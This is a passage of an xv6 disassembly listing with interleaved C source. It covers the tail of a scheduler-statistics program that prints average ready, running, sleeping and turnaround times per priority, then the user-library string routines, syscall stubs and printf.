424: 89 8c 85 c4 fd ff ff mov %ecx,-0x23c(%ebp,%eax,4)
sums[2][2] += stime[i];
break;
}
}
for (i = 0; i < 3; i++)
for (j = 0; j < 3; j++)
42b: 83 45 e0 01 addl $0x1,-0x20(%ebp)
42f: 83 7d e0 02 cmpl $0x2,-0x20(%ebp)
433: 7e b2 jle 3e7 <main+0x3e7>
sums[2][1] += rutime[i];
sums[2][2] += stime[i];
break;
}
}
for (i = 0; i < 3; i++)
435: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
439: 83 7d e4 02 cmpl $0x2,-0x1c(%ebp)
43d: 7e 9f jle 3de <main+0x3de>
for (j = 0; j < 3; j++)
sums[i][j] /= 30;
printf(1, "\n\nPriority 1:\nAverage ready time: %d\nAverage running time: %d\nAverage sleeping time: %d\nAverage turnaround time: %d\n\n\n", sums[0][0], sums[0][1], sums[0][2], sums[0][0] + sums[0][1] + sums[0][2]);
43f: 8b 95 c4 fd ff ff mov -0x23c(%ebp),%edx
445: 8b 85 c8 fd ff ff mov -0x238(%ebp),%eax
44b: 01 c2 add %eax,%edx
44d: 8b 85 cc fd ff ff mov -0x234(%ebp),%eax
453: 8d 1c 02 lea (%edx,%eax,1),%ebx
456: 8b 8d cc fd ff ff mov -0x234(%ebp),%ecx
45c: 8b 95 c8 fd ff ff mov -0x238(%ebp),%edx
462: 8b 85 c4 fd ff ff mov -0x23c(%ebp),%eax
468: 83 ec 08 sub $0x8,%esp
46b: 53 push %ebx
46c: 51 push %ecx
46d: 52 push %edx
46e: 50 push %eax
46f: 68 8c 0d 00 00 push $0xd8c
474: 6a 01 push $0x1
476: e8 78 04 00 00 call 8f3 <printf>
47b: 83 c4 20 add $0x20,%esp
printf(1, "Priority 2:\nAverage ready time: %d\nAverage running time: %d\nAverage sleeping time: %d\nAverage turnaround time: %d\n\n\n", sums[1][0], sums[1][1], sums[1][2], sums[1][0] + sums[1][1] + sums[1][2]);
47e: 8b 95 d0 fd ff ff mov -0x230(%ebp),%edx
484: 8b 85 d4 fd ff ff mov -0x22c(%ebp),%eax
48a: 01 c2 add %eax,%edx
48c: 8b 85 d8 fd ff ff mov -0x228(%ebp),%eax
492: 8d 1c 02 lea (%edx,%eax,1),%ebx
495: 8b 8d d8 fd ff ff mov -0x228(%ebp),%ecx
49b: 8b 95 d4 fd ff ff mov -0x22c(%ebp),%edx
4a1: 8b 85 d0 fd ff ff mov -0x230(%ebp),%eax
4a7: 83 ec 08 sub $0x8,%esp
4aa: 53 push %ebx
4ab: 51 push %ecx
4ac: 52 push %edx
4ad: 50 push %eax
4ae: 68 04 0e 00 00 push $0xe04
4b3: 6a 01 push $0x1
4b5: e8 39 04 00 00 call 8f3 <printf>
4ba: 83 c4 20 add $0x20,%esp
printf(1, "Priority 3:\nAverage ready time: %d\nAverage running time: %d\nAverage sleeping time: %d\nAverage turnaround time: %d\n\n\n", sums[2][0], sums[2][1], sums[2][2], sums[2][0] + sums[2][1] + sums[2][2]);
4bd: 8b 95 dc fd ff ff mov -0x224(%ebp),%edx
4c3: 8b 85 e0 fd ff ff mov -0x220(%ebp),%eax
4c9: 01 c2 add %eax,%edx
4cb: 8b 85 e4 fd ff ff mov -0x21c(%ebp),%eax
4d1: 8d 1c 02 lea (%edx,%eax,1),%ebx
4d4: 8b 8d e4 fd ff ff mov -0x21c(%ebp),%ecx
4da: 8b 95 e0 fd ff ff mov -0x220(%ebp),%edx
4e0: 8b 85 dc fd ff ff mov -0x224(%ebp),%eax
4e6: 83 ec 08 sub $0x8,%esp
4e9: 53 push %ebx
4ea: 51 push %ecx
4eb: 52 push %edx
4ec: 50 push %eax
4ed: 68 7c 0e 00 00 push $0xe7c
4f2: 6a 01 push $0x1
4f4: e8 fa 03 00 00 call 8f3 <printf>
4f9: 83 c4 20 add $0x20,%esp
exit();
4fc: e8 63 02 00 00 call 764 <exit>
}
501: 8d 65 f0 lea -0x10(%ebp),%esp
504: 59 pop %ecx
505: 5b pop %ebx
506: 5e pop %esi
507: 5f pop %edi
508: 5d pop %ebp
509: 8d 61 fc lea -0x4(%ecx),%esp
50c: c3 ret
0000050d <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
50d: 55 push %ebp
50e: 89 e5 mov %esp,%ebp
510: 57 push %edi
511: 53 push %ebx
asm volatile("cld; rep stosb" :
512: 8b 4d 08 mov 0x8(%ebp),%ecx
515: 8b 55 10 mov 0x10(%ebp),%edx
518: 8b 45 0c mov 0xc(%ebp),%eax
51b: 89 cb mov %ecx,%ebx
51d: 89 df mov %ebx,%edi
51f: 89 d1 mov %edx,%ecx
521: fc cld
522: f3 aa rep stos %al,%es:(%edi)
524: 89 ca mov %ecx,%edx
526: 89 fb mov %edi,%ebx
528: 89 5d 08 mov %ebx,0x8(%ebp)
52b: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
52e: 90 nop
52f: 5b pop %ebx
530: 5f pop %edi
531: 5d pop %ebp
532: c3 ret
00000533 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
533: 55 push %ebp
534: 89 e5 mov %esp,%ebp
536: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
539: 8b 45 08 mov 0x8(%ebp),%eax
53c: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
53f: 90 nop
540: 8b 45 08 mov 0x8(%ebp),%eax
543: 8d 50 01 lea 0x1(%eax),%edx
546: 89 55 08 mov %edx,0x8(%ebp)
549: 8b 55 0c mov 0xc(%ebp),%edx
54c: 8d 4a 01 lea 0x1(%edx),%ecx
54f: 89 4d 0c mov %ecx,0xc(%ebp)
552: 0f b6 12 movzbl (%edx),%edx
555: 88 10 mov %dl,(%eax)
557: 0f b6 00 movzbl (%eax),%eax
55a: 84 c0 test %al,%al
55c: 75 e2 jne 540 <strcpy+0xd>
;
return os;
55e: 8b 45 fc mov -0x4(%ebp),%eax
}
561: c9 leave
562: c3 ret
00000563 <strcmp>:
int
strcmp(const char *p, const char *q)
{
563: 55 push %ebp
564: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
566: eb 08 jmp 570 <strcmp+0xd>
p++, q++;
568: 83 45 08 01 addl $0x1,0x8(%ebp)
56c: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
570: 8b 45 08 mov 0x8(%ebp),%eax
573: 0f b6 00 movzbl (%eax),%eax
576: 84 c0 test %al,%al
578: 74 10 je 58a <strcmp+0x27>
57a: 8b 45 08 mov 0x8(%ebp),%eax
57d: 0f b6 10 movzbl (%eax),%edx
580: 8b 45 0c mov 0xc(%ebp),%eax
583: 0f b6 00 movzbl (%eax),%eax
586: 38 c2 cmp %al,%dl
588: 74 de je 568 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
58a: 8b 45 08 mov 0x8(%ebp),%eax
58d: 0f b6 00 movzbl (%eax),%eax
590: 0f b6 d0 movzbl %al,%edx
593: 8b 45 0c mov 0xc(%ebp),%eax
596: 0f b6 00 movzbl (%eax),%eax
599: 0f b6 c0 movzbl %al,%eax
59c: 29 c2 sub %eax,%edx
59e: 89 d0 mov %edx,%eax
}
5a0: 5d pop %ebp
5a1: c3 ret
000005a2 <strlen>:
uint
strlen(char *s)
{
5a2: 55 push %ebp
5a3: 89 e5 mov %esp,%ebp
5a5: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
5a8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
5af: eb 04 jmp 5b5 <strlen+0x13>
5b1: 83 45 fc 01 addl $0x1,-0x4(%ebp)
5b5: 8b 55 fc mov -0x4(%ebp),%edx
5b8: 8b 45 08 mov 0x8(%ebp),%eax
5bb: 01 d0 add %edx,%eax
5bd: 0f b6 00 movzbl (%eax),%eax
5c0: 84 c0 test %al,%al
5c2: 75 ed jne 5b1 <strlen+0xf>
;
return n;
5c4: 8b 45 fc mov -0x4(%ebp),%eax
}
5c7: c9 leave
5c8: c3 ret
000005c9 <memset>:
void*
memset(void *dst, int c, uint n)
{
5c9: 55 push %ebp
5ca: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
5cc: 8b 45 10 mov 0x10(%ebp),%eax
5cf: 50 push %eax
5d0: ff 75 0c pushl 0xc(%ebp)
5d3: ff 75 08 pushl 0x8(%ebp)
5d6: e8 32 ff ff ff call 50d <stosb>
5db: 83 c4 0c add $0xc,%esp
return dst;
5de: 8b 45 08 mov 0x8(%ebp),%eax
}
5e1: c9 leave
5e2: c3 ret
000005e3 <strchr>:
char*
strchr(const char *s, char c)
{
5e3: 55 push %ebp
5e4: 89 e5 mov %esp,%ebp
5e6: 83 ec 04 sub $0x4,%esp
5e9: 8b 45 0c mov 0xc(%ebp),%eax
5ec: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
5ef: eb 14 jmp 605 <strchr+0x22>
if(*s == c)
5f1: 8b 45 08 mov 0x8(%ebp),%eax
5f4: 0f b6 00 movzbl (%eax),%eax
5f7: 3a 45 fc cmp -0x4(%ebp),%al
5fa: 75 05 jne 601 <strchr+0x1e>
return (char*)s;
5fc: 8b 45 08 mov 0x8(%ebp),%eax
5ff: eb 13 jmp 614 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
601: 83 45 08 01 addl $0x1,0x8(%ebp)
605: 8b 45 08 mov 0x8(%ebp),%eax
608: 0f b6 00 movzbl (%eax),%eax
60b: 84 c0 test %al,%al
60d: 75 e2 jne 5f1 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
60f: b8 00 00 00 00 mov $0x0,%eax
}
614: c9 leave
615: c3 ret
00000616 <gets>:
char*
gets(char *buf, int max)
{
616: 55 push %ebp
617: 89 e5 mov %esp,%ebp
619: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
61c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
623: eb 42 jmp 667 <gets+0x51>
cc = read(0, &c, 1);
625: 83 ec 04 sub $0x4,%esp
628: 6a 01 push $0x1
62a: 8d 45 ef lea -0x11(%ebp),%eax
62d: 50 push %eax
62e: 6a 00 push $0x0
630: e8 47 01 00 00 call 77c <read>
635: 83 c4 10 add $0x10,%esp
638: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
63b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
63f: 7e 33 jle 674 <gets+0x5e>
break;
buf[i++] = c;
641: 8b 45 f4 mov -0xc(%ebp),%eax
644: 8d 50 01 lea 0x1(%eax),%edx
647: 89 55 f4 mov %edx,-0xc(%ebp)
64a: 89 c2 mov %eax,%edx
64c: 8b 45 08 mov 0x8(%ebp),%eax
64f: 01 c2 add %eax,%edx
651: 0f b6 45 ef movzbl -0x11(%ebp),%eax
655: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
657: 0f b6 45 ef movzbl -0x11(%ebp),%eax
65b: 3c 0a cmp $0xa,%al
65d: 74 16 je 675 <gets+0x5f>
65f: 0f b6 45 ef movzbl -0x11(%ebp),%eax
663: 3c 0d cmp $0xd,%al
665: 74 0e je 675 <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
667: 8b 45 f4 mov -0xc(%ebp),%eax
66a: 83 c0 01 add $0x1,%eax
66d: 3b 45 0c cmp 0xc(%ebp),%eax
670: 7c b3 jl 625 <gets+0xf>
672: eb 01 jmp 675 <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
674: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
675: 8b 55 f4 mov -0xc(%ebp),%edx
678: 8b 45 08 mov 0x8(%ebp),%eax
67b: 01 d0 add %edx,%eax
67d: c6 00 00 movb $0x0,(%eax)
return buf;
680: 8b 45 08 mov 0x8(%ebp),%eax
}
683: c9 leave
684: c3 ret
00000685 <stat>:
int
stat(char *n, struct stat *st)
{
685: 55 push %ebp
686: 89 e5 mov %esp,%ebp
688: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
68b: 83 ec 08 sub $0x8,%esp
68e: 6a 00 push $0x0
690: ff 75 08 pushl 0x8(%ebp)
693: e8 0c 01 00 00 call 7a4 <open>
698: 83 c4 10 add $0x10,%esp
69b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
69e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
6a2: 79 07 jns 6ab <stat+0x26>
return -1;
6a4: b8 ff ff ff ff mov $0xffffffff,%eax
6a9: eb 25 jmp 6d0 <stat+0x4b>
r = fstat(fd, st);
6ab: 83 ec 08 sub $0x8,%esp
6ae: ff 75 0c pushl 0xc(%ebp)
6b1: ff 75 f4 pushl -0xc(%ebp)
6b4: e8 03 01 00 00 call 7bc <fstat>
6b9: 83 c4 10 add $0x10,%esp
6bc: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
6bf: 83 ec 0c sub $0xc,%esp
6c2: ff 75 f4 pushl -0xc(%ebp)
6c5: e8 c2 00 00 00 call 78c <close>
6ca: 83 c4 10 add $0x10,%esp
return r;
6cd: 8b 45 f0 mov -0x10(%ebp),%eax
}
6d0: c9 leave
6d1: c3 ret
000006d2 <atoi>:
int
atoi(const char *s)
{
6d2: 55 push %ebp
6d3: 89 e5 mov %esp,%ebp
6d5: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
6d8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
6df: eb 25 jmp 706 <atoi+0x34>
n = n*10 + *s++ - '0';
6e1: 8b 55 fc mov -0x4(%ebp),%edx
6e4: 89 d0 mov %edx,%eax
6e6: c1 e0 02 shl $0x2,%eax
6e9: 01 d0 add %edx,%eax
6eb: 01 c0 add %eax,%eax
6ed: 89 c1 mov %eax,%ecx
6ef: 8b 45 08 mov 0x8(%ebp),%eax
6f2: 8d 50 01 lea 0x1(%eax),%edx
6f5: 89 55 08 mov %edx,0x8(%ebp)
6f8: 0f b6 00 movzbl (%eax),%eax
6fb: 0f be c0 movsbl %al,%eax
6fe: 01 c8 add %ecx,%eax
700: 83 e8 30 sub $0x30,%eax
703: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
706: 8b 45 08 mov 0x8(%ebp),%eax
709: 0f b6 00 movzbl (%eax),%eax
70c: 3c 2f cmp $0x2f,%al
70e: 7e 0a jle 71a <atoi+0x48>
710: 8b 45 08 mov 0x8(%ebp),%eax
713: 0f b6 00 movzbl (%eax),%eax
716: 3c 39 cmp $0x39,%al
718: 7e c7 jle 6e1 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
71a: 8b 45 fc mov -0x4(%ebp),%eax
}
71d: c9 leave
71e: c3 ret
0000071f <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
71f: 55 push %ebp
720: 89 e5 mov %esp,%ebp
722: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
725: 8b 45 08 mov 0x8(%ebp),%eax
728: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
72b: 8b 45 0c mov 0xc(%ebp),%eax
72e: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
731: eb 17 jmp 74a <memmove+0x2b>
*dst++ = *src++;
733: 8b 45 fc mov -0x4(%ebp),%eax
736: 8d 50 01 lea 0x1(%eax),%edx
739: 89 55 fc mov %edx,-0x4(%ebp)
73c: 8b 55 f8 mov -0x8(%ebp),%edx
73f: 8d 4a 01 lea 0x1(%edx),%ecx
742: 89 4d f8 mov %ecx,-0x8(%ebp)
745: 0f b6 12 movzbl (%edx),%edx
748: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
74a: 8b 45 10 mov 0x10(%ebp),%eax
74d: 8d 50 ff lea -0x1(%eax),%edx
750: 89 55 10 mov %edx,0x10(%ebp)
753: 85 c0 test %eax,%eax
755: 7f dc jg 733 <memmove+0x14>
*dst++ = *src++;
return vdst;
757: 8b 45 08 mov 0x8(%ebp),%eax
}
75a: c9 leave
75b: c3 ret
0000075c <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
75c: b8 01 00 00 00 mov $0x1,%eax
761: cd 40 int $0x40
763: c3 ret
00000764 <exit>:
SYSCALL(exit)
764: b8 02 00 00 00 mov $0x2,%eax
769: cd 40 int $0x40
76b: c3 ret
0000076c <wait>:
SYSCALL(wait)
76c: b8 03 00 00 00 mov $0x3,%eax
771: cd 40 int $0x40
773: c3 ret
00000774 <pipe>:
SYSCALL(pipe)
774: b8 04 00 00 00 mov $0x4,%eax
779: cd 40 int $0x40
77b: c3 ret
0000077c <read>:
SYSCALL(read)
77c: b8 05 00 00 00 mov $0x5,%eax
781: cd 40 int $0x40
783: c3 ret
00000784 <write>:
SYSCALL(write)
784: b8 10 00 00 00 mov $0x10,%eax
789: cd 40 int $0x40
78b: c3 ret
0000078c <close>:
SYSCALL(close)
78c: b8 15 00 00 00 mov $0x15,%eax
791: cd 40 int $0x40
793: c3 ret
00000794 <kill>:
SYSCALL(kill)
794: b8 06 00 00 00 mov $0x6,%eax
799: cd 40 int $0x40
79b: c3 ret
0000079c <exec>:
SYSCALL(exec)
79c: b8 07 00 00 00 mov $0x7,%eax
7a1: cd 40 int $0x40
7a3: c3 ret
000007a4 <open>:
SYSCALL(open)
7a4: b8 0f 00 00 00 mov $0xf,%eax
7a9: cd 40 int $0x40
7ab: c3 ret
000007ac <mknod>:
SYSCALL(mknod)
7ac: b8 11 00 00 00 mov $0x11,%eax
7b1: cd 40 int $0x40
7b3: c3 ret
000007b4 <unlink>:
SYSCALL(unlink)
7b4: b8 12 00 00 00 mov $0x12,%eax
7b9: cd 40 int $0x40
7bb: c3 ret
000007bc <fstat>:
SYSCALL(fstat)
7bc: b8 08 00 00 00 mov $0x8,%eax
7c1: cd 40 int $0x40
7c3: c3 ret
000007c4 <link>:
SYSCALL(link)
7c4: b8 13 00 00 00 mov $0x13,%eax
7c9: cd 40 int $0x40
7cb: c3 ret
000007cc <mkdir>:
SYSCALL(mkdir)
7cc: b8 14 00 00 00 mov $0x14,%eax
7d1: cd 40 int $0x40
7d3: c3 ret
000007d4 <chdir>:
SYSCALL(chdir)
7d4: b8 09 00 00 00 mov $0x9,%eax
7d9: cd 40 int $0x40
7db: c3 ret
000007dc <dup>:
SYSCALL(dup)
7dc: b8 0a 00 00 00 mov $0xa,%eax
7e1: cd 40 int $0x40
7e3: c3 ret
000007e4 <getpid>:
SYSCALL(getpid)
7e4: b8 0b 00 00 00 mov $0xb,%eax
7e9: cd 40 int $0x40
7eb: c3 ret
000007ec <sbrk>:
SYSCALL(sbrk)
7ec: b8 0c 00 00 00 mov $0xc,%eax
7f1: cd 40 int $0x40
7f3: c3 ret
000007f4 <sleep>:
SYSCALL(sleep)
7f4: b8 0d 00 00 00 mov $0xd,%eax
7f9: cd 40 int $0x40
7fb: c3 ret
000007fc <uptime>:
SYSCALL(uptime)
7fc: b8 0e 00 00 00 mov $0xe,%eax
801: cd 40 int $0x40
803: c3 ret
00000804 <getppid>:
SYSCALL(getppid)
804: b8 16 00 00 00 mov $0x16,%eax
809: cd 40 int $0x40
80b: c3 ret
0000080c <wait2>:
SYSCALL(wait2)
80c: b8 18 00 00 00 mov $0x18,%eax
811: cd 40 int $0x40
813: c3 ret
00000814 <nice>:
SYSCALL(nice)
814: b8 17 00 00 00 mov $0x17,%eax
819: cd 40 int $0x40
81b: c3 ret
0000081c <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
81c: 55 push %ebp
81d: 89 e5 mov %esp,%ebp
81f: 83 ec 18 sub $0x18,%esp
822: 8b 45 0c mov 0xc(%ebp),%eax
825: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
828: 83 ec 04 sub $0x4,%esp
82b: 6a 01 push $0x1
82d: 8d 45 f4 lea -0xc(%ebp),%eax
830: 50 push %eax
831: ff 75 08 pushl 0x8(%ebp)
834: e8 4b ff ff ff call 784 <write>
839: 83 c4 10 add $0x10,%esp
}
83c: 90 nop
83d: c9 leave
83e: c3 ret
0000083f <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
83f: 55 push %ebp
840: 89 e5 mov %esp,%ebp
842: 53 push %ebx
843: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
846: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
84d: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
851: 74 17 je 86a <printint+0x2b>
853: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
857: 79 11 jns 86a <printint+0x2b>
neg = 1;
859: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
860: 8b 45 0c mov 0xc(%ebp),%eax
863: f7 d8 neg %eax
865: 89 45 ec mov %eax,-0x14(%ebp)
868: eb 06 jmp 870 <printint+0x31>
} else {
x = xx;
86a: 8b 45 0c mov 0xc(%ebp),%eax
86d: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
870: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
877: 8b 4d f4 mov -0xc(%ebp),%ecx
87a: 8d 41 01 lea 0x1(%ecx),%eax
87d: 89 45 f4 mov %eax,-0xc(%ebp)
880: 8b 5d 10 mov 0x10(%ebp),%ebx
883: 8b 45 ec mov -0x14(%ebp),%eax
886: ba 00 00 00 00 mov $0x0,%edx
88b: f7 f3 div %ebx
88d: 89 d0 mov %edx,%eax
88f: 0f b6 80 60 11 00 00 movzbl 0x1160(%eax),%eax
896: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
89a: 8b 5d 10 mov 0x10(%ebp),%ebx
89d: 8b 45 ec mov -0x14(%ebp),%eax
8a0: ba 00 00 00 00 mov $0x0,%edx
8a5: f7 f3 div %ebx
8a7: 89 45 ec mov %eax,-0x14(%ebp)
8aa: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8ae: 75 c7 jne 877 <printint+0x38>
if(neg)
8b0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8b4: 74 2d je 8e3 <printint+0xa4>
buf[i++] = '-';
8b6: 8b 45 f4 mov -0xc(%ebp),%eax
8b9: 8d 50 01 lea 0x1(%eax),%edx
8bc: 89 55 f4 mov %edx,-0xc(%ebp)
8bf: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
8c4: eb 1d jmp 8e3 <printint+0xa4>
putc(fd, buf[i]);
8c6: 8d 55 dc lea -0x24(%ebp),%edx
8c9: 8b 45 f4 mov -0xc(%ebp),%eax
8cc: 01 d0 add %edx,%eax
8ce: 0f b6 00 movzbl (%eax),%eax
8d1: 0f be c0 movsbl %al,%eax
8d4: 83 ec 08 sub $0x8,%esp
8d7: 50 push %eax
8d8: ff 75 08 pushl 0x8(%ebp)
8db: e8 3c ff ff ff call 81c <putc>
8e0: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
8e3: 83 6d f4 01 subl $0x1,-0xc(%ebp)
8e7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8eb: 79 d9 jns 8c6 <printint+0x87>
putc(fd, buf[i]);
}
8ed: 90 nop
8ee: 8b 5d fc mov -0x4(%ebp),%ebx
8f1: c9 leave
8f2: c3 ret
000008f3 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
8f3: 55 push %ebp
8f4: 89 e5 mov %esp,%ebp
8f6: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
8f9: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
900: 8d 45 0c lea 0xc(%ebp),%eax
903: 83 c0 04 add $0x4,%eax
906: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
909: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
910: e9 59 01 00 00 jmp a6e <printf+0x17b>
c = fmt[i] & 0xff;
915: 8b 55 0c mov 0xc(%ebp),%edx
918: 8b 45 f0 mov -0x10(%ebp),%eax
91b: 01 d0 add %edx,%eax
91d: 0f b6 00 movzbl (%eax),%eax
920: 0f be c0 movsbl %al,%eax
923: 25 ff 00 00 00 and $0xff,%eax
928: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
92b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
92f: 75 2c jne 95d <printf+0x6a>
if(c == '%'){
931: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
935: 75 0c jne 943 <printf+0x50>
state = '%';
937: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
93e: e9 27 01 00 00 jmp a6a <printf+0x177>
} else {
putc(fd, c);
943: 8b 45 e4 mov -0x1c(%ebp),%eax
946: 0f be c0 movsbl %al,%eax
949: 83 ec 08 sub $0x8,%esp
94c: 50 push %eax
94d: ff 75 08 pushl 0x8(%ebp)
950: e8 c7 fe ff ff call 81c <putc>
955: 83 c4 10 add $0x10,%esp
958: e9 0d 01 00 00 jmp a6a <printf+0x177>
}
} else if(state == '%'){
95d: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
961: 0f 85 03 01 00 00 jne a6a <printf+0x177>
if(c == 'd'){
967: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
96b: 75 1e jne 98b <printf+0x98>
printint(fd, *ap, 10, 1);
96d: 8b 45 e8 mov -0x18(%ebp),%eax
970: 8b 00 mov (%eax),%eax
972: 6a 01 push $0x1
974: 6a 0a push $0xa
976: 50 push %eax
977: ff 75 08 pushl 0x8(%ebp)
97a: e8 c0 fe ff ff call 83f <printint>
97f: 83 c4 10 add $0x10,%esp
ap++;
982: 83 45 e8 04 addl $0x4,-0x18(%ebp)
986: e9 d8 00 00 00 jmp a63 <printf+0x170>
} else if(c == 'x' || c == 'p'){
98b: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
98f: 74 06 je 997 <printf+0xa4>
991: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
995: 75 1e jne 9b5 <printf+0xc2>
printint(fd, *ap, 16, 0);
997: 8b 45 e8 mov -0x18(%ebp),%eax
99a: 8b 00 mov (%eax),%eax
99c: 6a 00 push $0x0
99e: 6a 10 push $0x10
9a0: 50 push %eax
9a1: ff 75 08 pushl 0x8(%ebp)
9a4: e8 96 fe ff ff call 83f <printint>
9a9: 83 c4 10 add $0x10,%esp
ap++;
9ac: 83 45 e8 04 addl $0x4,-0x18(%ebp)
9b0: e9 ae 00 00 00 jmp a63 <printf+0x170>
} else if(c == 's'){
9b5: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
9b9: 75 43 jne 9fe <printf+0x10b>
s = (char*)*ap;
9bb: 8b 45 e8 mov -0x18(%ebp),%eax
9be: 8b 00 mov (%eax),%eax
9c0: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
9c3: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
9c7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
9cb: 75 25 jne 9f2 <printf+0xff>
s = "(null)";
9cd: c7 45 f4 f1 0e 00 00 movl $0xef1,-0xc(%ebp)
while(*s != 0){
9d4: eb 1c jmp 9f2 <printf+0xff>
putc(fd, *s);
9d6: 8b 45 f4 mov -0xc(%ebp),%eax
9d9: 0f b6 00 movzbl (%eax),%eax
9dc: 0f be c0 movsbl %al,%eax
9df: 83 ec 08 sub $0x8,%esp
9e2: 50 push %eax
9e3: ff 75 08 pushl 0x8(%ebp)
9e6: e8 31 fe ff ff call 81c <putc>
9eb: 83 c4 10 add $0x10,%esp
s++;
9ee: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
9f2: 8b 45 f4 mov -0xc(%ebp),%eax
9f5: 0f b6 00 movzbl (%eax),%eax
9f8: 84 c0 test %al,%al
9fa: 75 da jne 9d6 <printf+0xe3>
9fc: eb 65 jmp a63 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
9fe: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
a02: 75 1d jne a21 <printf+0x12e>
putc(fd, *ap);
a04: 8b 45 e8 mov -0x18(%ebp),%eax
a07: 8b 00 mov (%eax),%eax
a09: 0f be c0 movsbl %al,%eax
a0c: 83 ec 08 sub $0x8,%esp
a0f: 50 push %eax
a10: ff 75 08 pushl 0x8(%ebp)
a13: e8 04 fe ff ff call 81c <putc>
a18: 83 c4 10 add $0x10,%esp
ap++;
a1b: 83 45 e8 04 addl $0x4,-0x18(%ebp)
a1f: eb 42 jmp a63 <printf+0x170>
} else if(c == '%'){
a21: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
a25: 75 17 jne a3e <printf+0x14b>
putc(fd, c);
a27: 8b 45 e4 mov -0x1c(%ebp),%eax
a2a: 0f be c0 movsbl %al,%eax
a2d: 83 ec 08 sub $0x8,%esp
a30: 50 push %eax
a31: ff 75 08 pushl 0x8(%ebp)
